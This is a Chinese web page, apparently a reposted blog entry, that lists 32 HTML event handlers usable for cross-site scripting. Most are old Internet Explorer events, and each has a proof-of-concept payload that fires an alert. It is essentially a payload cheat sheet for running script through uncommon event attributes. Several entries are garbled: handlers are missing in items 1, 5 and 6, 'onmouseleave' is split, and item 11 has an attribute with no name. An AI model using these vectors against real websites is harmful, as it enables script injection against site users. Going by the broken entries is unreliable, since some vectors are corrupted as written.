首页 > 代码库 > 32个触发事件XSS语句的总结

32个触发事件XSS语句的总结

http://hi.baidu.com/cr3xdker/blog/item/02f94520c1e39c56ad34dee6.html
1、onmouseenter:当鼠标进入选区执行代码
<div style="123456</div>


2、onmouseleave:当鼠标离开选区执行代码
<DIV onm ouseleave="alert(‘bem‘)" style="123456</DIV>


3、onmousewheel:当鼠标在选区滚轮时执行代码
<DIV onm ousewheel="alert(‘bem‘)" style="123456</DIV>


4、onscroll:拖动滚动条执行代码
<div style="width:100px;height:100px;overflow:scroll" onscroll="alert(‘bem‘)">123456
<br/>
<br/>
<br/>
<br/>
<br/>
</div>


5、onfocusin:当获得焦点时执行代码
<div contentEditable="true" style="asdf</div>


6、onfocusout:当失去焦点时执行代码
<div contentEditable="true" style="asdf</div>


7、onstart:当显示内容时执行代码
<marquee style="background-color:red" onstart="alert(‘bem‘)" >asdf</marquee>


8、onbeforecopy:选中内容后右键执行代码
<div style="" onbeforecopy="alert(‘bem‘)" >asdf</div>


9、onbeforecut:选中内容后右键执行代码
<div style="" onbeforecut="alert(‘bem‘)" >asdf</div>


10、onbeforeeditfocus:当获得焦点时执行代码
<div style="" contentEditable="true" onbeforeeditfocus="alert(‘bem‘)" >asdf</div>


11、onbeforepaste:选中内容后右键执行代码
<div style="" ="true" onbeforepaste="alert(‘bem‘)" >asdf</div>


12、oncontextmenu:鼠标右键执行代码
<div style="" oncontextmenu="alert(‘bem‘)" >asdf</div>


13、oncopy:鼠标右键执行复制时执行代码
<div style="" oncopy="alert(‘bem‘)" >asdf</div>


14、oncut:鼠标右键执行剪切时执行代码
<div contentEditable="true" style="" oncut="alert(‘bem‘)" >asdf</div>


15、ondrag:选择内容并拖动时执行代码
<div style="" ondrag="alert(‘bem‘)" >asdf</div>


16、ondragend:选择内容并拖动松开鼠标执行代码
<div style="" ondragend="alert(‘bem‘)" >asdf</div>


17、ondragenter:选择内容并拖动时执行代码
<div style="" ondragenter="alert(‘bem‘)" >asdf</div>


18、ondragleave:选择内容并拖出边框执行代码
<div contentEditable="true" style="" ondragleave="alert(‘bem‘)" >asdf</div>


19、ondragover:选择内容并拖动时执行代码
<div contentEditable="true" style="" ondragover="alert(‘bem‘)" >asdf</div>


20、ondragstart:选择内容并拖动时执行代码
<div contentEditable="true" style="" ondragstart="alert(‘bem‘)" >asdf</div>


21、ondrop:有内容被拖动进来时执行代码
<div contentEditable="true" style="" ondrop="alert(‘bem‘)" >asdf</div>
<div contentEditable="true" style="" ondrop="alert(‘bem‘)" >asdf</div>


22、onlosecapture:选择内容时执行代码
<div contentEditable="true" style="" onlosecapture="alert(‘bem‘)" >asdf</div>


23、onpaste:粘贴时执行代码
<div contentEditable="true" style="" onpaste="alert(‘bem‘)" >asdf</div>


24、onselectstart:选择内容时执行代码
<div contentEditable="true" style="" onselectstart="alert(‘bem‘)" >asdf</div>


25、onhelp:进入焦点按F1时执行代码
<div contentEditable="true" style="" onhelp="alert(‘bem‘)" >asdf</div>


26、onEnd:当时间线执行完毕时执行代码
<div STYLE="behavior:url(‘#default#time2‘)" onEnd="alert(‘bem‘)">asdf</div>


27、onBegin:当时间线开始执行代码
<div STYLE="behavior:url(‘#default#time2‘)" onBegin="alert(‘bem‘)">asdf</div>


28、onactivate:激活当前标签时执行代码
<div contentEditable="true" STYLE="" onactivate="alert(‘bem‘)">asdf</div>


29、onfilterchange:当滤镜改变时执行代码
<div contentEditable="true" STYLE="filter: Alpha(opacity=100, style=2);" onfilterchange="alert(‘bem‘)">asdf</div>


30、onbeforeactivate:当激活当前标签时执行代码
<div contentEditable="true" STYLE="" onbeforeactivate="alert(‘bem‘)">asdf</div>


31、onbeforedeactivate:当标签内值改变时执行代码
<div contentEditable="true" STYLE="" onbeforedeactivate="alert(‘bem‘)">asdf</div>


32、ondeactivate:当标签内值改变时执行代码
<div contentEditable="true" STYLE="" ondeactivate="alert(‘bem‘)">asdf</div>

32个触发事件XSS语句的总结